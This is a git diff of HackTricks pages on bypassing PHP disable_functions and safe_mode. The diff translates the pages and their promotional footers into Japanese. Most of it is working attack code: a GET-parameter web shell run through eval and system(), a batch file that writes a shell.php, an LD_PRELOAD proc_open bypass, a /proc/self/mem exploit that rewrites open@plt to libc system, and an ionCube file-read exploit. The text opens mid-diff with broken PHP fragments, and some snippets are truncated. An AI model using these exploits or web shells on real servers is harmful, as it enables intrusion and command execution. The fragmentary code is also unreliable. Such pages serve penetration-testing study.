Abysssec.com PHP <= 5.2.9 SafeMod Bypasser

"; +echo ""; +echo "
"; +} ?> @@ -76,32 +74,32 @@ From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog ``` -{% endtab %} - {% tab title="cmd.bat" %} + +```plaintext +@echo off +echo ^ > shell.php +``` + +このバッチファイルは、`shell.php`という名前のファイルを作成し、その中に`cmd.exe /c %*`を実行するPHPコードを書き込みます。 + +{% endtab %} ``` dir > abyss.txt exit ``` -{% endtab %} -{% endtabs %} - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md index 0e71215d9..92b0f46b0 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md @@ -1,29 +1,26 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# PHP Perl Extension Safe\_mode Bypass Exploit - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +# PHP Perl拡張機能のSafe\_modeバイパスエクスプロイト +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php eval("system('".$_GET['cmd']."')"); echo "</textarea>"; $_GET['cmd']=htmlspecialchars($_GET['cmd']); echo "
CMD: " - + ?> ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md index 6ee72b71a..7d64a8ded 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md @@ -1,30 +1,27 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +# PHP safe\_modeバイパス:proc\_open\(\)とカスタム環境のExploit +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から引用 ```php array("pipe", "r"), - 1 => array("file", $path."/output.txt","w"), - 2 => array("file", $path."/errors.txt", "a" ) +1 => array("file", $path."/output.txt","w"), +2 => array("file", $path."/errors.txt", "a" ) ); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r"); echo ""; while (!feof($a)) @@ -32,23 +29,18 @@ while (!feof($a)) ?>; ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md index 980959829..0ce0b9c4a 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# via mem - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +# メモリを介してバイパスする +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php > 32; - $lower = $value & 0x00000000ffffffff; - return pack('V2', $lower, $higher); +$higher = ($value & 0xffffffff00000000) >> 32; +$lower = $value & 0x00000000ffffffff; +return pack('V2', $lower, $higher); } function unp($value) { - return hexdec(bin2hex(strrev($value))); +return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { - $bin = file_get_contents($bin_ver); - $e_shoff = unp(substr($bin, 0x28, 8)); - $e_shentsize = unp(substr($bin, 0x3a, 2)); - $e_shnum = unp(substr($bin, 0x3c, 2)); - $e_shstrndx = unp(substr($bin, 0x3e, 2)); - for($i = 0; $i < $e_shnum; $i += 1) { - $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); - if($sh_type == 11) { // SHT_DYNSYM - $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); - $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); - $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); - } - elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB - $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); - $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); - } - elseif($rela && $sh_type == 4) { // SHT_RELA - $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); - $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); - $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); - } - } - if($rela) { - for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { - $r_offset = unp(substr($bin, $i, 8)); - $r_info = unp(substr($bin, $i + 8, 8)) >> 32; - $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); - $name = ''; - $j = $strtab_off + $name_off - 1; - while($bin[++$j] != "\0") { - $name .= $bin[$j]; - } - if($name == 'open') { - return $r_offset; - } - } - } - else { - for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { - $name_off = unp(substr($bin, $i, 4)); - $name = ''; - $j = $strtab_off + $name_off - 1; - while($bin[++$j] != "\0") { - $name .= $bin[$j]; - } - if($name == '__libc_system') { - $system_offset = unp(substr($bin, $i + 8, 8)); - } - if($name == '__open') { - $open_offset = unp(substr($bin, $i + 8, 8)); - } - } - return array($system_offset, $open_offset); - } +$bin = file_get_contents($bin_ver); +$e_shoff = unp(substr($bin, 0x28, 8)); +$e_shentsize = unp(substr($bin, 0x3a, 2)); +$e_shnum = unp(substr($bin, 0x3c, 2)); +$e_shstrndx = unp(substr($bin, 0x3e, 2)); +for($i = 0; $i < $e_shnum; $i += 1) { +$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); +if($sh_type == 11) { // SHT_DYNSYM +$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); +$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); +$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); +} +elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB +$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); +$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); +} +elseif($rela && $sh_type == 4) { // SHT_RELA +$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); +$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); +$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); +} +} +if($rela) { +for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { +$r_offset = unp(substr($bin, $i, 8)); +$r_info = unp(substr($bin, $i + 8, 8)) >> 32; +$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); +$name = ''; +$j = $strtab_off + $name_off - 1; +while($bin[++$j] != "\0") { +$name .= $bin[$j]; +} +if($name == 'open') { +return $r_offset; +} +} +} +else { +for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { +$name_off = unp(substr($bin, $i, 4)); +$name = ''; +$j = $strtab_off + $name_off - 1; +while($bin[++$j] != "\0") { +$name .= $bin[$j]; +} +if($name == '__libc_system') { +$system_offset = unp(substr($bin, $i + 8, 8)); +} +if($name == '__open') { +$open_offset = unp(substr($bin, $i + 8, 8)); +} +} +return array($system_offset, $open_offset); +} } echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { - echo "[-] This exploit is for x64 Linux. Exiting\n"; - exit; +echo "[-] This exploit is for x64 Linux. Exiting\n"; +exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { - echo "[-] Too old kernel (< 2.98). Might not work\n"; +echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo "[*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { - echo "[-] Failed. Exiting\n"; - exit; +echo "[-] Failed. Exiting\n"; +exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); @@ -126,8 +123,8 @@ echo "[*] Libc location: $r[1]\n"; echo "[*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { - echo "[-] Failed. Exiting\n"; - exit; +echo "[-] Failed. Exiting\n"; +exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); @@ -141,29 +138,24 @@ echo "[*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { - echo "[+] Address written. Executing cmd\n"; - readfile('/usr/bin/id'); - exit; +echo "[+] Address written. Executing cmd\n"; +readfile('/usr/bin/id'); +exit; } echo "[-] Write failed. Exiting\n"; ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md index 85301b9c4..84e0f2fe9 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md @@ -1,50 +1,47 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# PHP 5.2.4 ionCube extension Exploit - +# PHP 5.2.4 ionCube拡張機能の脆弱性エクスプロイト ```php
ionCube output:

"; echo $MyBoot_ioncube; ?> ``` - - -
